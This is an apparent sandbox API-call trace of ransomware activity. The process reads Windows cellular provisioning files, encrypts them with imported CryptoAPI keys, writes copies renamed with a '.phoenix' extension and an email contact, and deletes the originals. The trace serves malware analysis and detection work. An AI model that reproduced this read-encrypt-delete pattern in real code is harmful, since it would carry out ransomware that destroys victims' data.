	[0249.890] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\410__connections_cellular_vodafone es (spain)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.890] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.890] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.890] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\410__connections_cellular_vodafone es (spain)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0249.890] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0249.890] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.890] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x352, lpOverlapped=0x0) returned 1
	[0249.948] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0249.948] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0249.949] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151680) returned 1
	[0249.949] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.949] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0249.949] CryptDestroyKey (hKey=0x151680) returned 1
	[0249.949] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0249.950] CryptDestroyKey (hKey=0x151180) returned 1
	[0249.950] CloseHandle (hObject=0x2c8) returned 1
	[0249.950] CloseHandle (hObject=0x2d4) returned 1
	[0249.950] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\410__connections_cellular_vodafone es (spain)_i2$(__mvid)@wap.provxml")) returned 1
	[0249.951] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0249.951] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\413__connections_cellular_dialog (sri lanka)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0249.951] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=714) returned 1
	[0249.951] CloseHandle (hObject=0x2d4) returned 1
	[0249.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\413__connections_cellular_dialog (sri lanka)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\413__connections_cellular_dialog (sri lanka)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.951] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\413__connections_cellular_dialog (sri lanka)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0249.952] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.952] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.954] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\413__connections_cellular_dialog (sri lanka)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.955] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0249.955] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.955] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ca, lpOverlapped=0x0) returned 1
	[0249.985] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0249.985] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0249.986] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0249.986] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.986] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0249.986] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0249.986] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0249.986] CryptDestroyKey (hKey=0x151640) returned 1
	[0249.986] CloseHandle (hObject=0x2d4) returned 1
	[0249.986] CloseHandle (hObject=0x2c8) returned 1
	[0249.986] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\413__connections_cellular_dialog (sri lanka)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.987] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0249.987] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\414__connections_cellular_dialog (sri lanka)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.988] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=717) returned 1
	[0249.988] CloseHandle (hObject=0x2c8) returned 1
	[0249.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\414__connections_cellular_dialog (sri lanka)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0249.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\414__connections_cellular_dialog (sri lanka)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.988] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\414__connections_cellular_dialog (sri lanka)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.988] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.988] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.988] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\414__connections_cellular_dialog (sri lanka)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0249.989] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0249.989] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.989] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cd, lpOverlapped=0x0) returned 1
	[0250.000] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0250.000] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0250.001] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0250.001] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.001] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0250.001] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0250.001] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0250.001] CryptDestroyKey (hKey=0x151640) returned 1
	[0250.001] CloseHandle (hObject=0x2c8) returned 1
	[0250.001] CloseHandle (hObject=0x2d4) returned 1
	[0250.001] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\414__connections_cellular_dialog (sri lanka)_i1$(__mvid)@wap.provxml")) returned 1
	[0250.002] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0250.002] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\415__connections_cellular_mobitel (sri lanka)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0250.021] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=640) returned 1
	[0250.022] CloseHandle (hObject=0x2d8) returned 1
	[0250.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\415__connections_cellular_mobitel (sri lanka)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0250.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\415__connections_cellular_mobitel (sri lanka)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.022] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\415__connections_cellular_mobitel (sri lanka)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0250.023] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.023] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.023] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\415__connections_cellular_mobitel (sri lanka)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0250.024] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1514c0) returned 1
	[0250.024] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.025] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x280, lpOverlapped=0x0) returned 1
	[0250.027] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0250.027] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0250.028] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0250.028] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.028] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0250.028] CryptDestroyKey (hKey=0x151440) returned 1
	[0250.028] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0250.028] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0250.028] CloseHandle (hObject=0x2d8) returned 1
	[0250.028] CloseHandle (hObject=0x2b4) returned 1
	[0250.028] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\415__connections_cellular_mobitel (sri lanka)_i0$(__mvid)@wap.provxml")) returned 1
	[0250.029] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0250.029] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\417__connections_cellular_halebop (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0250.030] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=650) returned 1
	[0250.030] CloseHandle (hObject=0x2b4) returned 1
	[0250.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\417__connections_cellular_halebop (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0250.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\417__connections_cellular_halebop (sweden)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.030] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\417__connections_cellular_halebop (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0250.030] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.030] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0250.031] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\417__connections_cellular_halebop (sweden)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0250.031] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0250.031] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0250.031] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x28a, lpOverlapped=0x0) returned 1
